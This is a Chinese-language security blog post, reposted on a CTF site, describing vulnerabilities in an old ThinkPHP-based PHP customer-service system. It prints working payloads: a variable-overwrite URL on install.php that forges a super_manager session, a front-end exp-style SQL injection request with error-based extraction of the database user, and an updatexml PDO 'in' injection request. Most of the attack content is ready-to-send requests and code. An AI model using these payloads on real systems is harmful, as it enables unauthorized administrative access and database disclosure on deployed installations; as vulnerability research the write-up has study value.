温故而知新,老系统挖老漏洞

渗透技巧 1年前 (2022) admin
780 0 0

之前有两篇文章,挖php客服系统漏洞的,甚至都不能算挖,因为部分漏洞都是已公开的,系统也比较老被人挖烂了。具体是哪个系统,熟悉的人都知道就不说了。
https://mp.weixin.qq.com/s/-LnDOjoqYMjtjoVV9l-EuA
https://mp.weixin.qq.com/s/U810DUHrVg09m3z7rHlrcw

这可以算那篇文章的续集。

1.    变量覆盖

/install.php存在变量覆盖漏洞。

温故而知新,老系统挖老漏洞

由于上面的变量就没有能用的,而且大部分代码都被index.php检测阻隔。

温故而知新,老系统挖老漏洞

所以留给我们操纵的只有session。当然,如果能想办法删除掉index.php,也就是迫使该网站重新安装,则很明显可以修改$sqlFile,造成phar反序列化。

温故而知新,老系统挖老漏洞

登录客服后台,session文件如下。

温故而知新,老系统挖老漏洞

那么payload如下。
/install.php?_SESSION[Msg][service_id]=1&_SESSION[Msg][user_name]=&_SESSION[Msg][nick_name]=&_SESSION[Msg][password]=&_SESSION[Msg][groupid]=&_SESSION[Msg][phone]=&_SESSION[Msg][open_id]=&_SESSION[Msg][email]=&_SESSION[Msg][business_id]=1&_SESSION[Msg][avatar]=&_SESSION[Msg][level]=super_manager&_SESSION[Msg][parent_id]=&_SESSION[Msg][offline_first]=&_SESSION[Msg][state]=online&_SESSION[Msg][business][business_name]=
admin后台用的token机制,和session无关,因此无法操纵。

2.   前台SQL注入

/application/admin/controller/Event.php
存在SQL注入,在getwaitnum()中。

   public function getwaitnum(){
$post = $_POST;
if ($post['groupid'] == 0) { $count = Admins::table('wolive_queue')->where(['business_id' => $post['business_id'], 'state' => 'normal', 'service_id' => 0])->count(); } else { $count = Admins::table('wolive_queue')->where(['business_id' => $post['business_id'], 'state' => 'normal', 'service_id' => 0, 'groupid' => $post['groupid']])->count(); } return $count; }

thinkphp系列有着经典的exp注入,thinkphp5的修复方式是采取全局过滤,凡是$this->request对象获取了exp字符串就会给后面加个空格。所以看起来存在exp注入的接口尝试一下就会报这个错。

温故而知新,老系统挖老漏洞

实际上下断点就会知道多了一个空格,因此where()不识别了,在低版本thinkphp5.0似乎有着BETWEEN ‘1234的绕过。
https://xz.aliyun.com/t/6480

所以找exp注入就需要搜$_POST/$_GET这种原生取参。

POST /admin/event/getwaitnum HTTP/1.1Host: 127.0.0.1:81Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 165
business_id[]=exp&business_id[]=+and+(select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)&groupid=1

温故而知新,老系统挖老漏洞


3.    客服后台鸡肋SQL注入

/application/admin/controller/Custom.php
thinkphp5中还存在一种鸡肋的PDO in注入。
https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
只需要全局搜索where的in表达式,如果数组可控,即可注入,但无法注出有效数据。

温故而知新,老系统挖老漏洞

POST /im-master/public/admin/custom/visiterGroup HTTP/1.1Host: 127.0.0.1:81Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestCookie: service_token=OuwfoovK%2BIddContent-Length: 50
vid[0,updatexml(1,concat(0x7e,'aaaaaa',0x7e),1)]=1

温故而知新,老系统挖老漏洞

原文始发于微信公众号(珂技知识分享):温故而知新,老系统挖老漏洞

版权声明:admin 发表于 2022年11月11日 上午9:31。
转载请注明:温故而知新,老系统挖老漏洞 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...